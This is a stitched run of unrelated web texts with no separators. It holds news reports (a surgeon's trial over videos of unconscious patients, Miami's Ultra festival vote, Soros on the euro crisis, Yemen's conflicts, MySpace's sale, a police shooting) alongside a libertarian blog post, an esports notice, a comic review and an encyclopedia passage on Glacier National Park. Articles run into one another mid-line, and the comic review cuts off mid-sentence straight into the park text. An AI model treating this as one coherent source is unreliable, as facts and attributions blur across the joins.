Sadeghi’s lawyers rested their case on Wednesday without presenting a single witness. They said prosecutors failed to prove “criminal intent” in the charges. The videos show poor judgment on Sadeghi’s part but, according to Wayne, do not warrant a 15-year sex offender registration for him, the Times-Picayune reported.
The defense accused prosecutors of misleading the patients into thinking Sadeghi had distributed the images more widely, according to the Advocate.
But Rodrigue argued these pictures never made it to the women’s medical files and were therefore not likely taken for clinical purposes.
The state also presented testimony from two of Sadeghi’s surgical technicians, who testified that the images weren’t intended to be lewd or lascivious.
Prosecutors called a third alleged victim, who was photographed while unconscious and while nurses next to her flashed middle fingers for the camera.
“I didn’t understand why I had to be in that picture, or why that picture was even taken,” she said, according to the Advocate.
Defense attorney Michael Magner asked the woman, “You don’t believe that picture was intended in any way to incite lust, do you?”
“I don’t know what it was intended for,” she replied.
A fourth woman, who is a cancer survivor, was also filmed just before an 11-hour surgery in March 2015.
In the clip, the woman’s lower body was exposed as a nurse danced to a pop song by Adam Levine. She testified that she recognized herself by a tattoo on her right arm, the Times-Picayune reported.
“I was devastated,” the patient told jurors. “I don’t know if I’m going to wake up the next morning, plastered on the internet with ugly memes or anything. That’s my private area that’s out there.”
The pre-surgery videos weren’t Sadeghi’s only public troubles.
In October 2016, Sadeghi filed a lawsuit against a friend and business associate, Jason Adams, who is facing charges of his own after a high-speed crash that killed a 23-year-old passenger, Kristi Lynn Lirette.
The Lamborghini that Adams was driving—at 118 mph, while legally drunk, police say—was registered to Sadeghi, the Advocate reported.
Adams has pleaded not guilty to vehicular homicide.
Sadeghi’s lawsuit claims Adams, who was hired in 2014 to manage the books of the breast surgery center, forged checks with Sadeghi’s signature and transferred more than $4 million of the surgeon’s money to his own business.
But Adams denied the charges in court papers, saying that he was helping Sadeghi funnel $357,000 in hush money to a former employee with whom the surgeon had an affair, the Advocate reported.
Adams also claimed he helped Sadeghi invest $2 million in an office building because the doctor “wanted to remove monies from his community (property) as he was going through a ‘nasty divorce.’”Ultra Music Festival will remain in Miami after city commissioners voted 4-1 to keep the music festival at Bayfront Park, according to WSVN-TV.
Miami Mayor Tomas Regalado and city commissioner Marc Sarnoff called for an end to Ultra after a security guard was severely injured in a stampede during the first day of the festival last month. Over the course of the entire weekend, 76 festival-goers were arrested, 28 of them for felonies, and 118 others were treated by paramedics. Meanwhile, a 21-year-old man was found dead in his car after attending the festival.
There were reports of Regalado and Sarnoff backtracking from their position, however, a motion was filed and voted on by City of Miami commissioners today. Fortunately for Ultra, the vote was in its favor.
Update: Under the motion, Ultra is allowed to stay only if it follows certain conditions, including increased police presence and a zero tolerance drug policy. It must also set up counseling stations throughout the event and establish a phone number that local residents can call to report a problem.
In the days leading up to the vote, Ultra Music Festival organizers launched an online petition to keep the festival in Miami. As of publication, the petition has accrued nearly 50,000 signatures.
In an accompanying statement, Ultra organizers said this year’s festival employed 257 police officers a day, including 18 undercover officers. However, in the wake of this year’s tragic events, the festival is “conducting a top-to-bottom review of its security protocol and continues its long-standing commitment to the security and safety of its patrons and personnel.”
Following today’s news, Ultra announced dates for its 2015 installment: March 27th – 29th.TRENTO, Italy (Reuters) - Germany and its central bank are unlikely to lead the way out of the euro zone debt crisis within three months time, after which it will be too late, U.S. billionaire George Soros said on Saturday.
Speaking at an economic conference in Trento, Italy, Soros said that the euro crisis - which he defined as a sovereign debt crisis and a banking crisis closely interlinked - threatened to destroy the European Union and plunge it into a lost decade like Latin America in the 1980s.
“A similar fate now awaits Europe. That is the responsibility that Germany and other creditor countries need to acknowledge. But there is no sign of this happening,” Soros said.
Soros said he expected Greek elections in June to produce a government willing to stick by the current bailout agreements, but which would find it impossible to do so.
“The Greek crisis is liable to come to a climax in the fall. By that time the German economy will also be weakening so that Chancellor (Angela) Merkel will find it even more difficult than today to persuade the German public to accept any additional European responsibilities. That is what creates a three-month window,” he said.
The Hungarian-born U.S. financier said that all the “blame and burden” of adjusting the euro area’s imbalances was falling on weaker peripheral countries, but the bloc’s core bore an ever greater responsibility for the crisis.
“The ‘centre’ is responsible for designing a flawed system, enacting flawed treaties, pursuing flawed policies and always doing too little too late,” he said.
Soros urged creating a European deposit insurance scheme and called for direct bank access to the euro zone’s rescue fund, as well as for joint financial supervision and regulation.
He also called for measures to lower borrowing costs of heavily indebted countries, warning that if this did not happen support for reforms in Italy would wane, making it difficult for the government to carry them out.
“There are various ways to provide it (a fall in funding costs), but they all need the active support of the Bundesbank and the German government,” he said.
The euro zone would eventually need a financial authority that could take over much of individual countries’ solvency risk.
Soros said that the financial system in Europe was fragmenting and reorganising itself along national lines, which in a few years time may make an orderly euro break up possible.
But “an earlier breakup is bound to be disorderly,” almost certainly leading to a collapse of the EU itself, he said.
He said it would take German authorities “an extraordinary effort” to gather public support in the coming three months for the measures which are needed to halt current trends.
“We need to do whatever we can to convince Germany to show leadership and preserve the European Union as the fantastic object that it used to be,” he said.Yemeni southerners hold regular anti-government protests
By Owen Bennett-Jones
BBC News, Sanaa
Faced with a civil war in the north, pro-independence protests in the south and al-Qaeda attacks throughout the country Yemen's government has its work cut out. But ministers insist the country has survived worse crises in the past and that the central authority will prevail. "We have one Yemen and one state. The government has not yet used all the forces at its disposal," said Deputy Planning Minister Hisham Sharaf. For western governments the most pressing issue is al-Qaeda. The US is currently holding 94 Yemenis in Guantanamo, nearly half of the total number still in the camp. But Washington is reluctant to let them go back home because it sees Yemen as an unstable al-Qaeda stronghold. I fear we'll have military insurgency in the south and then we'll have people wearing explosive vests attacking government buildings. That is close to happening now
Abdul Ghani al-Irayani, political analyst
Cold War roots of Yemen conflict Yemen faces new Jihad generation Yemen faces new Jihad generation The government in Sanaa is more bothered by the civil war in the north. The conflict has been going on since 2004 but has intensified in recent months. About 175,000 people have fled the fighting. The rebels demands are not entirely clear. Some of the leaders want to establish an Islamic emirate based on their branch of Shia Islam. But most of the fighters are tribesmen who would probably put down their arms if they were given rather more mundane concessions such as some roads and schools. There is consensus in Sanaa that eventually the crisis in the north will have to be resolved by negotiation. But for the moment the governments strategy is to force the rebels into a position of weakness so that they will accept a political settlement. The situation has been complicated by the recent involvement of Saudi forces on the side of the Yemeni government which in turn accuses Iran of backing the rebels. Secessionists While the conflict rages in the north, there are also political divisions in the south. Protestors, often carrying guns, take to the streets every few days demanding a reversal of the 1990 unification of North and South Yemen. The conflict in the north has displaced hundreds of thousands "Our objectives are to gain our independence and to evict the occupiers from our country," said the self-styled President of Southern Yemen, al-Salam al-Beid who now lives in Germany. The government in Sanaa argues it can take the sting out of the secessionist movement by offering some political concessions. But even those who agree with that view say that if the strategy is to work, the government needs to get on with it. "I fear we'll have military insurgency in the south and then we'll have people wearing explosive vests attacking government buildings. That is close to happening now," said political analyst Abdul Ghani al-Irayani. Water crisis On top of all the security problems, Yemen is running out of two vital resources: oil and water. Oil revenues are down 75% this year although that drop is explained by lower global prices as well as decreasing production. Yemen's battle against Houthi rebels in the north has drawn in Saudi Arabia The countries water supplies are diminishing so rapidly that a World Bank-financed project has predicted the capital Sanaa could run out by 2025. The country's rapidly growing population means the underground water table is declining by between one and 12 metres each year. "We are in serious trouble," said water minister, Abdul Rahman al-Eryani. With remarkable honesty for a government minister he openly accuses senior army officers, tribal sheikhs and even fellow ministers of making money through illegal drilling. "We have passed the luxury of being diplomatic, the water crisis necessitates the most rude stating of facts," Mr Eryani said.
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Jeremy Corbyn has used a visit to Milton Keynes to tell his internal critics to "take the fight to the Tories" rather than bickering among themselves.
The visit came just a day after the Court of Appeal ruled around 130,000 members would be excluded from voting in the Labour leadership contest next month.
Many of those affected are believed to back Mr Corbyn rather than his rival Owen Smith and the leader's campaign team reacted with fury at the court's decision.
Speaking from the top of a Fire Brigades Union truck, Mr Corbyn told the rally the leadership campaign was a way to demonstrate how the Labour part would "enthuse, excite and mobilise people to win things in their community and ultimately win things for all communities".
He insisted that was already happening under his leadership.Once upon a time, MySpace was the king and pioneer of social networking. When Rupert Murdoch's News Corp. bought the company for $580 million, it looked like a steal. Surely MySpace must be worth billions as it forged a path into whole new corners of the Internet and popular culture. Right?
But oh, how far the mighty have fallen. Today News Corp. sold MySpace to Specific Media—an advertising specialist you've never heard of—for a mere $35 million. Many MySpace employees are out of a job, and pretty much all of them will be gone soon enough, according to AllThingsD and the New York Times. Exactly what Specific Media hopes to gain from this empty shell isn't clear, though the MySpace site remains functional (under some creative definitions of the word "functional") and the brand name just might be worth something in the right hands.
When Murdoch bought MySpace, it was a vibrant and thriving online society hell-bent for world domination. Looking in the rearview mirror, Facebook was coming up fast, but still entirely focused on college campuses. Then Facebook blew the doors wide open and invited everyone to the party, with a tasty menu of chatting, gaming, and sharing all wrapped up in a consistent, elegant interface. The eclectic MySpace never stood a chance. Now we get the final bill for the damage done.
Doing the math
So what's the real damage to News Corp. from this botched online venture? Just subtracting the sale price from the original price tag and calling it a $545 million short-sale doesn't do it justice, because then you're ignoring the puts and takes of running the darn business. In fact, the whole process of figuring out the numbers is tricky because News Corp. and MySpace never talked about them. That's hardly unusual, as we still don't really know what kind of business YouTube pulls in for Google, for example, but it's annoying when you're trying to figure things out. So there's some guesswork involved.
Let's start by figuring out the initial situation. Intermix Media, the original parent of MySpace, made a net profit of $1.5 million in the twelve months leading up to the News deal. $37 million of its $88.9 million in total revenue came from the Network division, chiefly home to MySpace. The rest fell in from direct and online marketing of high-margin merchandise such as beauty products and inkjet cartridges. The e-commerce stuff quickly disappeared in the vast News machine, and I think it's fair to write it off as a discontinued operation from the start. The old Alena brand was mentioned in the exhaustive list of subsidiaries in the 10-K filing of 2006, but was gone the next year.
In 2006, the company happily highlighted that MySpace averaged 29 billion monthly page views in the US alone, boasting over 90 million registered users. But News never bothered to break out MySpace results, or even the larger Fox Interactive Meda operation of which it was a part, from the "Other" segment in its financial reports.
But traffic doubled in the first year, and MySpace was, as already discussed, mildly profitable at first. So let's say that sales in 2006 landed at about $70 million with a breakeven bottom line. From there, News Corp COO Chase Carey said that the bulk of that Other segment consisted of MySpace in 2010. By then, the division accounted for $1,5 billion in annual sales and a $575 million operating loss. (Ouch.) "Other" sales peaked in 2008, and never saw a profitable fiscal year in the MySpace era.
So if we start with about $70 million of MySpace revenue in 2006 and guess that "the bulk" might translate into something like 75 percent of the Other division, we can construct an overly simplistic yet instructive model of how it all worked out.
In this scenario, MySpace sales peaked in 2009 at something like $1.5 billion (out of $2.4 billion for the whole business segment). Operating losses start climbing right away, landing at $431 million in 2010 and adding up to $750 million. That tally stops in June of 2010, because News doesn't report segment results more than once a year. The next full-year report is two-and-a-half months away today.
Endgame
So all things considered, MySpace has cost Murdoch's empire something like $1.3 billion. Even if my assumptions are way off, the final cost can't be less than $1 billion. That fiasco isn't putting Murdoch out of business: News Corp turned a $2.9 billion dollar profit in the last four quarters and generated $2.2 billion in free cash flow, for example. But it still stings as Murdoch's dreams of an end-to-end interactive media empire falls apart. And his shareholders have been trailing the broader market as well as rivals Viacom and Disney over those five painful years.
And now hated rival Facebook is getting ready to hit the stock market with a valuation perhaps topping $100 billion. That's hardly a camera finish in the race to dominate social networking.Police in Pinal County, Arizona, claimed that the shooting death of a suspected car thief two weeks ago came after the man had turned to reach for a weapon. But video surfaced this week from a bystander, showing that the suspect had turned his back to officers, with his hands held high in the air.Manuel Longoria, of Mesa, led police on a 40-minute chase in Eloy, and only stopped after sheriff’s deputies crippled the stolen Toyota Corolla with a tire-popping device. Witnesses said that Longoria told police after he got out of the car, surrounded, that he wouldn’t be taken alive. Police fired Tasers and beanbags at him before he turned around.The video shows him with his hands above his head. One second later, a sheriff’s deputy fired two shots into him, killing him.Investigators found no weapon.The Pinal County Sheriff’s Office said it investigated the shooting and found the officer’s use of lethal force justified.The shooter returned to duty a week later.Stabilized video:Raw Video:Why aren’t there more women in the liberty movement? This question has been addressed in the blogosphere time and time again. This time, Kelly Barber responded to Where Them Girls At, by Caitlyn Bates, in her article Oppression and the Lack of Libertarian Women. Kelly gives a phenomenal overview of what oppression is and how women tend to recognize their own oppression and then look to the government to fix it. She writes,
I think it is also difficult for libertarians in particular to recognize oppression when it is not executed by the state. Historically, classical liberals have supported oppressed groups and the recognition of their rights, such as African Americans in the 1960s. However, they traditionally defend these groups against the state, not society in general. Most libertarians theoretically acknowledge that oppression can come from society and not just the government, but in real life, libertarians rarely talk about social oppression. Perhaps this is because libertarians view political oppression as a more important issue. I think social oppression is just as problematic, but even if you disagree, I would argue the two are interconnected and you can’t solve one without addressing the other.
Kelly has it right here—libertarians tend to be very good at confederating against the oppressive forces of the state but lackluster in addressing societal problems like racism, sexism, and homophobia. I would argue, though, that recognizing these problems is an even deeper issue, not just for libertarians, but for Americans as a whole.
Look at the canon of pop literature that informs the public of oppression. In most cases, the state is somehow involved. I am thinking of titles like Harry Potter, Hunger Games, 1984, and Brave New World. Even the media occasionally acknowledges that the state is oppressing its people, like the police’s treatment of Occupy Wall Street, freedom of religion in California, and looming tax increases. But when it comes to social oppression, libertarians, and this country as a whole, falls short. We can easily point to when the state is tyrannous, but when society follows suit, the lines are less clear. Was the Trayvon Martin case an instance of pure racism? Do women continue to earn less than men solely because of sexism? There is no clean answer for these questions, and, thus, they are not asked frequently enough or hastily turned into black and white issues—particularly by our fellow libertarians.
Kelly notes, “If a group is socially oppressed but no one recognizes this oppression, it will be much more likely that they turn to the state for what they perceive as their only way of getting help to level the playing field.” This is true, and it’s why many democrats point to laws like the Civil Rights Act of 1964 or the Lilly Ledbetter Fair Pay Act of 2009 as pieces of positive progressive legislation. Civilly-minded voters are drawn to these policies because they feel as though they are being proactive in the fight for an equal society. And, as Caitlyn Bates points out, these civilly-minded voters tend to be women.
But libertarians know that the Civil Rights Act of 1964 or the Lilly Ledbetter Fair Pay Act of 2009 does not change thought; what one believes can never, hopefully, be regulated. Sexists and racists, “hate crimes” and “hate speech,” will continue to exist in spite of what the law demands. But our own solutions outside of political reform—spontaneous order and awareness activism—is unsatisfying to many because of its non-coercive nature. Paradigm shifts take time, which is frustrating to those who want to see social change, who want to see the end of oppression.
It’s very easy to point to state authoritarianism and say “no,” but we cannot ignore for societal oppression either. As a predominantly white male political group, the crushing effects of social oppression often go unrecognized within our circle, simply because it doesn’t affect the majority of libertarians. This cannot continue. If we want to see change in this country, we have to actively be aware of the states of different members of the population and work on more inclusive messaging. This includes women and minorities; once we start doing that, we might see more of them within our movement.Super Smash Con is right around the corner and we’ve just broken triple digits for registrants! With SSC and so many other exciting events on the Rivals Championship Series circuit this year, we want to make sure all of them get the love and support they need. To help meet this goal we’ve been working on something special with smash.gg – a standing compendium for the RCS.
This special shop will be available for the entirety of season 2, and contain Rivals skins and swag that you can’t get anywhere else. We’ll be rotating in goals as events come up (like Super Smash Con) as well as keeping our finals goal that can always be donated to. The best part is that 100% of the funds raised here go back to supporting our players and community.
To kick off the opening of the RCS compendium we’re including a brand new skin in the shop – Arcade Maypul! Pick her up on smash.gg to support Super Smash Con and get some sweet arcade effects for Maypul and Lily.
We love doing events and giving back, so if you want to keep seeing tournaments like these make sure you show up to represent (or at least let us know you’re a fan online)! Here’s our current list through the summer. Hope to see you there!Burton Snowboards drew inspiration from NASA spacesuits for its uniforms for the 2018 U.S. Olympic snowboard team.
When the U.S. Olympic snowboard team takes to the snow in PyeongChang, South Korea, in February, they will be sporting uniforms appropriate for the "giant leaps" they are expected to perform.
Burton Snowboards on Thursday (Nov. 2) revealed one-of-a-kind, NASA astronaut spacesuit-inspired uniforms for the halfpipe, slopestyle and big air snowboarding competitions at the 2018 Winter Olympics.
"I have always loved the astronauts' suits, because not only do they have such a cool and amazing aesthetic, they also were designed to function under the most extreme conditions," said Greg Dacyshyn, head designer of Burton Snowboards Olympic uniform program, in a statement. "So this gave us an incredible platform to push the innovation and technology of the garments as well." [Evolution of the Spacesuit in Pictures (Space Tech Gallery)]
"My hope is that these pieces help the athletes go where no rider has gone before," he said.
Taking design cues from the spacesuits and pressure suits worn by Mercury, Gemini and Apollo and space shuttle-era astronauts, Burton Snowboards describes its team uniform as "innovative in function and retro-futuristic in design."
The competition jacket and pant emphasize the future with a liquid metal look, via an iridescent silver fabric coated in very fine, real aluminum. The fabric was custom developed for the 2018 uniform by infusing an aluminum-coated fabric typically used for audio equipment with properties ideal for snowboarding in any weather condition.
To pay homage to the spirit of the U.S. space program, the jacket also features hand-drawn patches of the American flag and "USA" in a font that evokes NASA's "worm" logo used between 1976 and 1992. The competition jacket and pant also feature red stripes, styled after the identifier worn by Apollo commanders and shuttle and space station lead spacewalkers.
In addition to the competition wear, the uniform collection also includes a NASA spacesuit-inspired down one-piece and village down jacket, both fabricated from bright white non-woven Dyneema fabric, which is the world's strongest fiber. Lightweight and waterproof, the Dyneema fabric has a space-age feel, similar to the 1960s Apollo moonwalkers' spacesuits, with a texture that breaks in over time, giving it a weathered look.
To wear with the competition jacket and pant, Burton also created a fleece jacket and pant fabricated from a custom Polartec "High Loft" fabric originally created for the military. The 2018 uniform includes a lightweight down insulator in a "moonbeam" colorway and drirelease wool base layers in "international orange," a signature color used by NASA for its space shuttle-era and future Orion astronaut launch and entry suits.
The 2018 U.S. Olympic snowboard team's competition jacket and pant evoke NASA's Apollo moonwalkers' spacesuits. (Image: © Burton Snowboards)
Leather mitts and fleece gloves, tech t-shirts and beanies complete the 2018 U.S. snowboard team uniform.
"As one of the most recognized brands in snowboarding, Burton brings tremendous value to our Olympic snowboard team," stated Dan Barnett, U.S. Ski and Snowboard chief commercial officer. "Success at the highest level of global competition comes from acute attention to detail and we know that Burton shares that philosophy."
"If the expectations are that U.S. snowboarders represent their country in a uniform, then Burton wants to design and manufacture it," said Jake Burton, founder and chairman of the Vermont-based snowboard company. "By doing so, we assure U.S. riders that they will have outerwear they can trust to perform at the highest level with a look they have input into and ultimately respect."
The 2018 Winter Olympics will be held from Feb. 9 through Feb. 25. The year marks the 50th anniversaries of Apollo 7 and Apollo 8, the latter marking the first human voyage to the moon, and the 60th anniversary of NASA as the United States' civilian space agency.
See more photos of the 2018 U.S. Olympic snowboard team's spacesuit-inspired uniforms at collectSPACE.
Follow collectSPACE.com on Facebook and on Twitter at @collectSPACE. Copyright 2017 collectSPACE.com. All rights reserved.A liberal arts college in North Carolina is pledging to identify and potentially punish students who heckled a play about sexual assault the college forced them to attend.
“It Stops Here,” an original play produced by students at Greensboro College, was first performed last Wednesday before a crowd of students, but the performance didn’t go as planned. According to people at the play, members of the audience frequently heckled the cast and shouted sexually explicit remarks.
“Many of the boys started calling out ‘She wanted it, it’s not rape,’ and making masturbation noises,” stage manager Claire Sellers told a local news station. Sellers said the remarks were so excessive that cast members “became physically ill and vomited after the show because they were so vulgar.”
Sellers also criticized school faculty members, saying some were near the hecklers but did nothing to stop them.
Notably, though, the hecklers do not appear to have been invading the performance to disrupt it. Rather, attendance at the play was mandatory for all incoming freshmen at Greensboro, as well as for some older student-athletes who were required to attend by coaches.
One of the play’s performers, Emily Parker, told theater blogger and professor Howard Sherman that the attendees were apparently unhappy about being forced to see the play.
“A particular group of boys was talking rudely,” said Parker. “They were talking loudly about how they didn’t want to be there and how they thought he [the male actor] was gay. Typical teenage boy stuff. ‘He’s so gay’.”
Greensboro has responded firmly, not only condemning the playgoers’ heckling but promising to punish it. Severely, if necessary.
The college says it has launched an investigation under Title IX, the federal law banning sex discrimination in education.
“Under our new Sexual Misconduct policy, the comments that have been reported qualify as sexual harassment,” said college president Lawrence Czarda in a campuswide email. “The college is pursuing a formal complaint of sexual misconduct against the students and is working to identify them. Upon results of the investigation, those found responsible will face disciplinary consequences.” What sort of consequences the students could face is unclear, but the school’s penalties for sexual harassment go all the way up to expulsion.
Greensboro’s student code of conduct describes sexual harassment as follows:
“For general policy purposes, sexual harassment may be described as unwelcome sexual advances, requests for sexual favors and other physical or expressive conduct of a sexual nature where: 1. submission to such conduct is made either explicitly or implicitly as a term or condition of an individual’s employment or education; 2. submission to or rejection of such conduct by an individual is used as a basis for academic or employment decisions affecting the individual; or 3. such conduct has the purpose or effect of interfering with an individual’s academic or professional performance, or of creating an intimidating, hostile or offensive employment or educational environment.
Presumably, Greensboro’s classification of the heckling as sexual harassment is based on the third definition, although it’s legally unclear whether disrupting a theatrical performance truly qualifies as creating a hostile “employment or educational environment.”
Samanatha Harris, a director of policy at the Foundation for Individual Rights in Education (FIRE), criticized the school for seeking to classify the heckling as harassment rather than simple disruptive behavior.
“If the charge were disruption, there wouldn’t be an issue here,” Harris told The Daily Caller News Foundation. “[But] it’s extremely unlikely a few isolated comments could rise to the level of severity and pervasiveness required for sexual harassment.”
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.Today, Drew and Michael are discussing the The Sandman Overture 5, originally released May 27th, 2015.
Drew: Neil Gaiman has never been shy about pulling down the curtains that separate fiction from reality. I might call it “breaking the fourth wall,” but it’s less winking at the camera, and more showing us the puppet’s strings to better appreciate the puppet itself. In that vein, it’s never been hard to see Gaiman as Dream, the raven-haired prince of stories, fighting to maintain order over his dominion of characters, settings, and situations. It makes for some fascinating commentary on the creative process, especially when Dream comes up against forces beyond his control, even within his own stories. That’s exactly the name of the game in The Sandman Overture 5, as Gaiman pulls the curtain back on Dream’s mother and brings in some surprises that even Destiny didn’t see coming.
As the issue opens, Dream is facing the fate the stars had sentenced him to: permanent entombment in a black hole. Only, we quickly learn that this was by Dream’s design — he needed to plunge into a black hole to visit his mother, Night. Whether she is obliged to live in that complete blackness, or just chooses to to be beyond the reach of Time isn’t clear, but she’s just as disinterested in helping Dream as his father was. That connection between Time and Night is an important one, and artist J.H. Williams III takes extra care to make it as explicit as possible.
That’s a deceptively simple page, but it’s rich with meaning. The panels within panels beautifully support Gaiman’s script, which is a nested series of ideas, but the real beauty is how they render temporeality meaningless. There’s no sequence to these panels. We read the largest one both first and last, rendering cause and effect meaningless. Dream makes a similar point about his father’s realm in the previous issue, but importantly, that effect was still achieved through sequentiality, albeit a sequence counter to what we might expect.
Matching Gaiman’s own postmodernism, Williams is playing with the form throughout. This is perhaps most apparent whenever we see passages from Destiny’s book, which Williams cleverly represents as a comic itself.
Don’t worry about reading the copy, the point here is the design of this layout. Note how, as soon as Destiny encounters something he doesn’t expect, the images start busting out of the book. It breaks the two-dimensionality of the book, which is itself a three-dimensional object rendered in two dimensions. That might be enough postmodernism to break my brain, but that final panel isn’t even a part of the book (notice how it casts a shadow on the book itself, as if floating above it), explaining how the Dream cat could “surprise” Destiny — these events are literally happening off the pages of his book.
Williams achieves that effect even more spectacularly later in the book, as the boat seems to pop right off of the page, but the passage above establishes the rules of Destiny’s book before smashing them all to pieces. This all leads to my absolute favorite passage: Dream boarding the mysterious ship:
It’s comicbook-iness couldn’t be more explicit — it’s based on a nine-panel grid — but Williams defies our expectations at every turn. In spite of the grid (and empty gutters), certain parts of the image bleed into the margins. Actually, we can be more specific than that: only the dream ship bleeds into the margins — note in particular the striking empty space in the middle of this spread, broken only by the ship. Again, we’re reading this in Destiny’s book — note the page edges we can see in the upper left corner of the spread — but the ship seems to exist outside of it, defying the conventions of the book even as it is superimposed on top of it.
It’s crazy-meta stuff, but it’s all in support of a crazy-meta narrative. This subtly emphasizes the otherness of that dream ship, something Williams gooses further in that final panel. The “rules” of this spread are all about breaking one continuous image |
, leaving only the stone exterior standing. Due to damage, the chalet was closed indefinitely and while the exterior stonework was stabilized in the fall of 2017, the dates for rebuilding and reopening the chalet has yet to be determined.[28]
After the park was well established and visitors began to rely more on automobiles, work was begun on the 53-mile (85 km) long Going-to-the-Sun Road, completed in 1932. Also known simply as the Sun Road, the road bisects the park and is the only route that ventures deep into the park, going over the Continental Divide at Logan Pass, 6,646 feet (2,026 m) at the midway point. The Sun Road is also listed on the National Register of Historic Places and in 1985 was designated a National Historic Civil Engineering Landmark.[29] Another route, along the southern boundary between the park and National Forests, is US Route 2, which crosses the Continental Divide at Marias Pass and connects the towns of West Glacier and East Glacier.
The Civilian Conservation Corps (CCC), a New Deal relief agency for young men, played a major role between 1933 and 1942 in developing both Glacier National Park and Yellowstone National Park. CCC projects included reforestation, campground development, trail construction, fire hazard reduction, and fire-fighting work.[30] The increase in motor vehicle traffic through the park during the 1930s resulted in the construction of new concession facilities at Swiftcurrent and Rising Sun, both designed for automobile-based tourism. These early auto camps are now also listed on the National Register.[25]
In 2011, Glacier National Park was depicted on the seventh quarter in the America the Beautiful Quarters series.[31]
Park management [ edit ]
Glacier National Park is managed by the National Park Service, with the park's headquarters in West Glacier, Montana. Visitation to Glacier National Park averaged about 2.2 million visitors annually over the ten-year period from 2007 to 2016,[2] though relatively few of those visitors ventured far from the roadways, hotels and campgrounds.
Glacier National Park finished with a budget of $13,803,000 in 2016, with a planned budget of $13,777,000 for 2017.[32] In anticipation of the 100th anniversary of the park in 2010, major reconstruction of the Going-to-the-Sun Road was completed. The Federal Highway Administration managed the reconstruction project in cooperation with the National Park Service.[33] Some rehabilitation of major structures such as visitor centers and historic hotels, as well as improvements in wastewater treatment facilities and campgrounds, are expected to be completed by the anniversary date. Also planned are fishery studies for Lake McDonald, updates of the historical archives, and restoration of trails.
The mandate of the National Park Service is to "... preserve and protect natural and cultural resources". The Organic Act of August 25, 1916 established the National Park Service as a federal agency. One major section of the Act has often been summarized as the "Mission", "... to promote and regulate the use of the... national parks... which purpose is to conserve the scenery and the natural and historic objects and the wild life therein and to provide for the enjoyment of the same in such manner and by such means as will leave them unimpaired for the enjoyment of future generations."[34] In keeping with this mandate, hunting is illegal in the park, as are mining, logging, and the removal of natural or cultural resources. Additionally, oil and gas exploration and extraction are not permitted. These restrictions, however, caused a lot of conflict with the adjoining Blackfeet Indian Reservation. When they sold the land to the United States government, it was with the stipulation of being able to maintain their usage rights of the area, many of which (such as hunting) had come into conflict with these regulations.[13]
In 1974, a wilderness study was submitted to Congress which identified 95% of the area of the park as qualifying for wilderness designation. Unlike a few other parks, Glacier National Park has yet to be protected as wilderness, but National Park Service policy requires that identified areas listed in the report be managed as wilderness until Congress renders a full decision.[27] Ninety-three percent of Glacier National Park is managed as wilderness, even though it has not been officially designated.[35]
Geography and geology [ edit ]
The park is bordered on the north by Waterton Lakes National Park in Alberta, and the Flathead Provincial Forest and Akamina-Kishinena Provincial Park in British Columbia.[36] To the west, the north fork of the Flathead River forms the western boundary, while its middle fork is part of the southern boundary. The Blackfeet Indian Reservation provides most of the eastern boundary. The Lewis and Clark and the Flathead National Forests form the southern and western boundary.[37] The remote Bob Marshall Wilderness Complex is located in the two forests immediately to the south.[38]
The park contains a dozen large lakes and 700 smaller ones, but only 131 lakes have been named.[39] Lake McDonald on the western side of the park is the longest at 9.4 miles (15.1 km), the largest in area at 6,823 acres (27.61 km2), and the deepest at 464 feet (141 m). Numerous smaller lakes, known as tarns, are located in cirques formed by glacial erosion. Some of these lakes, like Avalanche Lake and Cracker Lake, are colored an opaque turquoise by suspended glacial silt, which also causes a number of streams to run milky white. The lakes of Glacier National Park remain cold year round, with temperatures rarely above 50 °F (10 °C) at their surface.[39] Cold water lakes such as these support little plankton growth, ensuring that the lake waters are remarkably clear. The lack of plankton, however, lowers the rate of pollution filtration, so pollutants have a tendency to linger longer. Consequently, the lakes are considered environmental bellwethers as they can be quickly affected by even minor increases in pollutants.[40]
Two hundred waterfalls are scattered throughout the park. However, during drier times of the year, many of these are reduced to a trickle. The largest falls include those in the Two Medicine region, McDonald Falls in the McDonald Valley, and Swiftcurrent Falls in the Many Glacier area, which is easily observable and close to the Many Glacier Hotel. One of the tallest waterfalls is Bird Woman Falls, which drops 492 feet (150 m) from a hanging valley beneath the north slope of Mount Oberlin.[41]
Geology [ edit ]
The rocks found in the park are primarily sedimentary rocks of the Belt Supergroup. They were deposited in shallow seas over 1.6 billion to 800 million years ago. During the formation of the Rocky Mountains 170 million years ago, one region of rocks now known as the Lewis Overthrust was forced eastward 50 miles (80 km). This overthrust was several miles (kilometers) thick and hundreds of miles (kilometers) long.[42] This resulted in older rocks being displaced over newer ones, so the overlying Proterozoic rocks are between 1.4 and 1.5 billion years older than Cretaceous age rocks they now rest on.[42][43]
One of the most dramatic evidences of this overthrust is visible in the form of Chief Mountain, an isolated peak on the edge of the eastern boundary of the park rising 2,500 feet (800 m) above the Great Plains.[43][44] There are six mountains in the park over 10,000 feet (3,000 m) in elevation, with Mount Cleveland at 10,466 feet (3,190 m) being the tallest.[45] Appropriately named Triple Divide Peak sends waters towards the Pacific Ocean, Hudson Bay, and Gulf of Mexico watersheds. This peak can effectively be considered to be the apex of the North American continent, although the mountain is only 8,020 feet (2,444 m) above sea level.[46]
The rocks in Glacier National Park are the best preserved Proterozoic sedimentary rocks in the world, with some of the world's most fruitful sources for records of early life. Sedimentary rocks of similar age located in other regions have been greatly altered by mountain building and other metamorphic changes; consequently fossils are less common and more difficult to observe.[47] The rocks in the park preserve such features as millimeter-scale lamination, ripple marks, mud cracks, salt-crystal casts, raindrop impressions, oolites, and other sedimentary bedding characteristics. Six fossilized species of stromatolites, early organisms consisting of primarily blue-green algae, have been documented and dated at about 1 billion years.[44] The discovery of the Appekunny Formation, a well preserved rock stratum in the park, pushed back the established date for the origination of animal life a full billion years. This rock formation has bedding structures which are believed to be the remains of the earliest identified metazoan (animal) life on Earth.[43]
Glaciers [ edit ]
Glacier National Park is dominated by mountains which were carved into their present shapes by the huge glaciers of the last ice age. These glaciers have largely disappeared over the last 12,000 years.[48] Evidence of widespread glacial action is found throughout the park in the form of U-shaped valleys, cirques, arêtes, and large outflow lakes radiating like fingers from the base of the highest peaks.[5] Since the end of the ice ages, various warming and cooling trends have occurred. The last recent cooling trend was during the Little Ice Age, which took place approximately between 1550 and 1850.[49] During the Little Ice Age, the glaciers in the park expanded and advanced, although to nowhere near as great an extent as they had during the Ice Age.[48]
